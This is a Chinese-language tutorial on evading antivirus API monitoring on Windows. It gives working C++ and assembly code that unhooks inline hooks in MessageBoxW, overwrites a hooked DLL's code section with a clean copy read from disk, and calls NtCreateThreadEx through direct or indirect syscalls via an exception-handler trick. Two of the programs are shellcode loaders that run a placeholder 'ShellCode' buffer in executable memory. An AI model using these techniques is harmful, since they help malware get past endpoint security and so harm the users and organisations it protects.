API 动态检测规避
1.InlineHook
杀软会通过在 EXE 的 DLL 内存中的函数中加入跳转来监测行为
x64 jmp
不能直接jmp,占 12 字节
mov rax,0x1122334455667788 ; 硬编码 48 B8 8877665544332211
jmp rax ; 硬编码 FFE0
x86 jmp
需要计算,占 5 字节
00401620 jmp 0x12354678 ; 硬编码 E9 5340F411 = (逆序)(0x12345678 - 0x00401625)
00401625 ...
不需要计算,占 7 字节
mov eax,0x12345678 ; 硬编码 B8 78563412
jmp eax ; 硬编码 FFE0
2.UnInlineHook
修正硬编码
将被杀软加入跳转的硬编码改回来
模拟后门
x64Beacon.cpp:
#include <windows.h>
int main() {
while (true) {
MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
}
}
模拟杀软
流程:
获取监测函数地址
获取 MessageBoxW 地址
构造完整新硬编码
用新硬编码覆盖原硬编码
x64AntiVirus.cpp:
将该 DLL 注入 x64Beacon.exe,对 MessageBoxW 进行 InlineHook
#include "pch.h"
#include <windows.h>
// 新硬编码
BYTE newCode[12] = { 0x48, 0xB8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };
// 监测函数
void Monitor() {
MessageBoxA(0, "Hacker ! ! !", "AntiVirus", MB_ICONWARNING); // 弹窗报毒
}
// 挂内联钩子
void InlineHook() {
// 构造完整新硬编码
ULONGLONG monitorAddr = (ULONGLONG)Monitor; // 获取监测函数地址
memcpy(&newCode[2], &monitorAddr, 8); // 将监测函数地址填充到新硬编码
// 从 user32.dll 获取 MessageBoxW 地址
FARPROC MessageBoxWAddr = GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");
// 修改 MessageBoxW 前 12 字节内存权限为 RWX
DWORD oldProtection = NULL;
VirtualProtect(MessageBoxWAddr, 12, PAGE_EXECUTE_READWRITE, &oldProtection);
// 用新硬编码覆盖原硬编码
RtlCopyMemory(MessageBoxWAddr, newCode, 12);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
InlineHook(); // 挂内联钩子
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
查杀效果
注入 x64AntiVirus.dll 前
注入 x64AntiVirus.dll 后
UnInlineHook 后门
流程:
创建子线程调用内联钩子监测器函数
无限循环进行全硬编码校验
如果发现硬编码发生改变,就将硬编码改回原硬编码
x64Beacon.cpp:
#include <windows.h>
// 原硬编码
BYTE oldCode[83] = { 0x48, 0x83, 0xEC, 0x38, 0x45, 0x33, 0xDB, 0x44, 0x39, 0x1D, 0xAA, 0xF4, 0x03, 0x00, 0x74, 0x2E, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x50, 0x48, 0x33, 0xC0, 0xF0, 0x4C, 0x0F, 0xB1, 0x15, 0xE8, 0xFF, 0x03, 0x00, 0x4C, 0x8B, 0x15, 0xE9, 0xFF, 0x03, 0x00, 0x41, 0x8D, 0x43, 0x01, 0x4C, 0x0F, 0x44, 0xD0, 0x4C, 0x89, 0x15, 0xDA, 0xFF, 0x03, 0x00, 0x83, 0x4C, 0x24, 0x28, 0xFF, 0x66, 0x44, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3 };
// 去掉内联钩子
void UnInlineHook() {
// 从 user32.dll 获取 MessageBoxW 地址
FARPROC MessageBoxWAddr = GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");
// 修改 MessageBoxW 内存权限为 RWX
DWORD oldProtect;
VirtualProtect(MessageBoxWAddr, sizeof oldCode, PAGE_EXECUTE_READWRITE, &oldProtect);
// 用原硬编码覆盖被修改的硬编码
RtlCopyMemory(MessageBoxWAddr, oldCode, sizeof oldCode);
// 改回 MessageBoxW 原内存权限
VirtualProtect(MessageBoxWAddr, sizeof oldCode, oldProtect, &oldProtect);
}
// 内联钩子监测器
DWORD InlineHookMonitor(LPVOID lpParameter) {
// 全硬编码校验
while (1) {
Sleep(500);
// 硬编码发生变化
if (memcmp((LPVOID)MessageBox, oldCode, sizeof oldCode) != 0) {
UnInlineHook(); // 去掉内联钩子
}
}
return 0;
}
int main() {
// 创建子线程检测 MessageBoxW 是否被挂内联钩子
CreateThread(NULL, 0, InlineHookMonitor, NULL, 0, NULL);
// Hacking ! ! !
while (true) {
MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
}
}
DLL 内存覆盖
流程
创建子线程调用内联钩子监测器函数
无限循环进行全硬编码校验
如果发现硬编码发生改变,就进行 DLL 内存覆盖
DLL 内存覆盖
从文件加载干净的 DLL 映射到进程内存获取被 InlineHook 的 DLL 的句柄等信息
遍历被 InlineHook 的 DLL 的代码段,并用干净的 DLL 代码段进行覆盖
代码编写
#include <windows.h>
#include <psapi.h>
// DLL 内存覆盖
void UnDLLHook(char* dllName, char* dllPath) {
// 加载干净的 DLL
HANDLE hDLLFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // 获取 DLL 文件句柄
HANDLE hDLLMapping = CreateFileMapping(hDLLFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); // 创建 DLL 文件映射对象
LPVOID dllMappingAddr = MapViewOfFile(hDLLMapping, FILE_MAP_READ, 0, 0, 0); // 将 DLL 文件映射对象映射到进程内存
CloseHandle(hDLLMapping); // 关闭句柄
CloseHandle(hDLLFile);
// 获取被 InlineHook 的 DLL 的信息 (进程运行自动加载的 DLL)
HMODULE hDLLModule = GetModuleHandleA(dllName); // 获取 DLL 内存句柄
LPVOID dllBaseAddr = (LPVOID)hDLLModule; // 获取 DLL 基址
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBaseAddr; // 获取 DOS 头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBaseAddr + dos->e_lfanew); // 偏移到 NT 头
FreeLibrary(hDLLModule); // 释放模块
// 遍历被 InlineHook 的 DLL 的节表 (代码段、数据段等)
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { // WORD 是因为节总数 NumberOfSections 是 16 位无符号整数
/*
* IMAGE_FIRST_SECTION(nt) 为第一个节的地址
* IMAGE_SIZEOF_SECTION_HEADER 为一个节的大小
* DWORD_PTR 为无符号整数类型,便于在指针加法中进行偏移量计算
* 加起来就是当前节地址
*/
PIMAGE_SECTION_HEADER currentSectionAddr = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(nt) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
// 用新加载干净的 DLL 代码段内存覆盖被 InlineHook 的 DLL 代码段内存
if (!strcmp((char*)currentSectionAddr->Name, (char*)".text")) { // 当前节是代码段
// 当前节权限改为 RWX
DWORD oldProtect;
VirtualProtect((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 覆盖当前节内存
memcpy((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize);
// 当前节权限改回原权限
VirtualProtect((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize, oldProtect, &oldProtect);
}
}
}
// 内联钩子监测器
DWORD InlineHookMonitor(LPVOID lpParameter) {
// 原硬编码
BYTE oldCode[83] = { 0x48, 0x83, 0xEC, 0x38, 0x45, 0x33, 0xDB, 0x44, 0x39, 0x1D, 0xAA, 0xF4, 0x03, 0x00, 0x74, 0x2E, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x50, 0x48, 0x33, 0xC0, 0xF0, 0x4C, 0x0F, 0xB1, 0x15, 0xE8, 0xFF, 0x03, 0x00, 0x4C, 0x8B, 0x15, 0xE9, 0xFF, 0x03, 0x00, 0x41, 0x8D, 0x43, 0x01, 0x4C, 0x0F, 0x44, 0xD0, 0x4C, 0x89, 0x15, 0xDA, 0xFF, 0x03, 0x00, 0x83, 0x4C, 0x24, 0x28, 0xFF, 0x66, 0x44, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3 };
// 全硬编码校验
while (1) {
Sleep(500);
// 硬编码发生变化
if (memcmp((LPVOID)MessageBox, oldCode, sizeof oldCode) != 0) {
UnDLLHook((char*)"user32.dll", (char*)"C:\\windows\\system32\\user32.dll"); // DLL 内存覆盖
}
}
return 0;
}
int main() {
// 创建子线程检测 MessageBoxW 是否被挂内联钩子
CreateThread(NULL, 0, InlineHookMonitor, NULL, 0, NULL);
// Hacking ! ! !
while (true) {
MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
}
}
3.API 构造
用户层 API 会继续调用其他用户层 API,最终在 ntdll.dll 中通过一个 Nt 开头的 API 调用 syscall 进入内核层
所以通过自己构造用户层最后一个 API 可以避免用户层 InlineHook
NtCreateThreadEx 函数
先看一下函数汇编是什么 (不同系统调用号 (C7) 可能不同)
初步构造
通过汇编构造 NtCreateThreadEx 函数来调用
代码编写:
x64 不能直接在 C 代码中写汇编
你的项目名->生成依赖项->生成自定义->masm
视图->解决方案资源管理器->源文件->添加->新建项->x64.asm
x64.asm->属性->项类型(Microsoft Macro Assembler)
x64.asm (自己构造的 NtCreateThreadEx 函数):
.CODE
NtCreateThreadEx proc
mov r10,rcx
mov eax,0C7h
syscall
ret
NtCreateThreadEx endp
END
x64.cpp:
#include <windows.h>
// 声明自定义函数
EXTERN_C NTSTATUS NtCreateThreadEx(PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(p, buf, sizeof buf);
// 创建线程调用 ShellCode
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), p, NULL, FALSE, NULL, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
}
更合理的构造
初步构造中调用 NtCreateThreadEx 进入内核层后,回到用户层时直接回到了主程序,应该先回到 ntdll.dll 才合理
所以不应该调用自己写的 syscall,而应该从原本的 NtCreateThreadEx 中获取 syscall 的地址来调用
流程:
注册 VEH 异常处理函数,内容是构造 NtCreateThreadEx,其中 syscall 通过地址调用
通过 NULL 调用 NtCreateThreadEx 触发异常进入 VEH 处理函数
x64.cpp:
直接在 Visual Studio 运行会报错,要双击 EXE 运行
#include <windows.h>
// 定义函数指针类型
typedef DWORD(WINAPI* NtCreateThreadEx)(PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);
// 获取 syscall 的地址
BYTE* GetSyscallAddr() {
// 从 ntdll.dll 获取 NtCreateThreadEx 的地址
ULONG_PTR pNtCreateThreadEx = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
// 找到 syscall 并返回地址
BYTE* funcAddr = (BYTE*)pNtCreateThreadEx;
while (funcAddr++) {
BYTE* tempAddr = funcAddr;
if (*tempAddr == 0x0F && *(tempAddr + 1) == 0x05 && *(tempAddr + 2) == 0xC3) {
return funcAddr;
}
}
}
// VEH 异常处理函数
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
// 处理运行时错误异常
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// 构造 NtCreateThreadEx 函数
pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
pExceptionInfo->ContextRecord->Rax = 0xC7; // mov eax,0xC7
pExceptionInfo->ContextRecord->Rip = (ULONG_PTR)GetSyscallAddr(); // 获取 syscall 的地址并调用
return EXCEPTION_CONTINUE_EXECUTION; // 继续执行异常代码之后的代码
}
return EXCEPTION_CONTINUE_SEARCH; // 找其他 VEH 异常处理函数
}
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
// 注册 VEH 异常处理函数
AddVectoredExceptionHandler(1, VectExceptionHandler); // 第一个调用
// 通过 NULL 创建线程调用 ShellCode,触发异常进入 VEH 异常处理函数
HANDLE hThread;
NtCreateThreadEx pNtCreateThreadEx = NULL;
pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), p, NULL, FALSE, NULL, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
}
4.未文档化 API
通过调用杀软未知的等效 API 来绕过动态 API 监测